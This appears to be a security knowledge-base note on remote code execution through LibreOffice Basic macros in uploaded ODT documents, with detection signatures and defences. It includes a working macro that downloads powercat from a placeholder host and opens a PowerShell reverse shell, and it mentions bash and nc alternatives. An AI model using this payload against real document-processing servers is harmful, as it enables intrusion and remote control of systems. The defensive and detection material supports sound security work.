RCE via LibreOffice macros (ODT)

LibreOffice/OpenOffice documents (.odt, .ods...) can embed macros in LibreOffice Basic. A macro tied to the open event, or run by whatever processes the document, executes on the side that opens it. If a server has a flow that opens user-uploaded documents (a conversion, a preview, an automated office process), a malicious macro is command execution under that process's identity.

The vector shows up when an upload form accepts ODT (often explicitly rejecting PHP or other executables, which gives a false sense of safety). You create the document, add a module with a Main routine and upload it. In LibreOffice Writer: Tools > Macros > Edit Macros, a new module inside the document itself:

Sub Main
    shell("cmd /c powershell IEX(New-Object Net.Webclient).DownloadString('http://<lhost>/powercat.ps1');powercat -c <lhost> -p <port> -e powershell")
End Sub

shell() runs the command on the system; here it downloads powercat in memory and opens a reverse shell, but any payload would do. On Linux the same shell() would launch a bash -i or nc.

Nuance. It depends on macros being enabled on the side that opens the document. By default LibreOffice blocks them (macro security level), so the vector lives mostly in automated pipelines that lowered that level or run macros without interaction. It is not a universal "open and done".

How to detect it. The signature is the office process (soffice.bin/soffice) spawning cmd/powershell/sh as a child (auditd/Sysmon over execve/Process Create with ppid=soffice), something converting or rendering a document never does. At rest, an uploaded .odt/.ods whose manifest declares a Basic module (Basic/, script:module in content.xml) reaching a conversion pipeline is the indicator (FIM on the upload directory). The outbound powercat/DownloadString download closes the chain.

Defence. Do not process user-uploaded office documents with macros enabled; convert or render in a sandbox; require signed macros and keep the security level high. Related to file-upload RCE, command injection and CVE-2023-2255 (another LibreOffice RCE path, that one without interaction).